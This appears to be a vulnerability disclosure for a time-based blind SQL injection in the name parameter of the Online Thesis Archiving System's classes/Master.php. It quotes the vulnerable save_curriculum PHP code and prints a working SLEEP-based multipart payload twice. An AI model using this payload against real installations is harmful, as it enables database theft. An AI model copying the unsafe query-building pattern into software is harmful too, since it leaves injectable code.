SQL injection vulnerability exists in name parameter of classes/Master.php file of Online Thesis Archiving System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
function save_curriculum(){
    extract($_POST);
    $data = "";
    foreach($_POST as $k =>$v){
        if(!in_array($k,array('id'))){
            if(!is_numeric($v))
                $v = $this->conn->real_escape_string($v);
            if(!empty($data)) $data .=",";
            $data .= " `{$k}`='{$v}' ";
        }
    }
    if(empty($id)){
        $sql = "INSERT INTO `curriculum_list` set {$data} ";
    }else{
        $sql = "UPDATE `curriculum_list` set {$data} where id = '{$id}' ";
    }
    $check = $this->conn->query("SELECT * FROM `curriculum_list` where `name`='{$name}' and `department_id` = '{department_id}' ".($id > 0 ? " and id != '{$id}'" : ""))->num_rows;
    if($check > 0){
        $resp['status'] = 'failed';
        $resp['msg'] = "Curriculum Name Already Exists.";
    }else{
        $save = $this->conn->query($sql);
```

```
--
Parameter: MULTIPART name ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ----------YWJkMTQzNDcw
Content-Disposition: form-data; name="id"


----------YWJkMTQzNDcw
Content-Disposition: form-data; name="department_id"

123
----------YWJkMTQzNDcw
Content-Disposition: form-data; name="name"

pHqghUme' AND (SELECT 4929 FROM (SELECT(SLEEP(5)))BwsN) AND 'aKes'='aKes
----------YWJkMTQzNDcw
Content-Disposition: form-data; name="description"

1
----------YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0
----------YWJkMTQzNDcw--
--
```

“

Parameter: MULTIPART name ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: ----------YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

----------YWJkMTQzNDcw

Content-Disposition: form-data; name="department_id"

123

----------YWJkMTQzNDcw

Content-Disposition: form-data; name="name"

pHqghUme' AND (SELECT 4929 FROM (SELECT(SLEEP(5)))BwsN) AND 'aKes'='aKes

----------YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

1
----------YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0
----------YWJkMTQzNDcw--

“

Source Download：
https://www.campcodes.com/projects/php/online-thesis-archiving-system-in-php-mysql/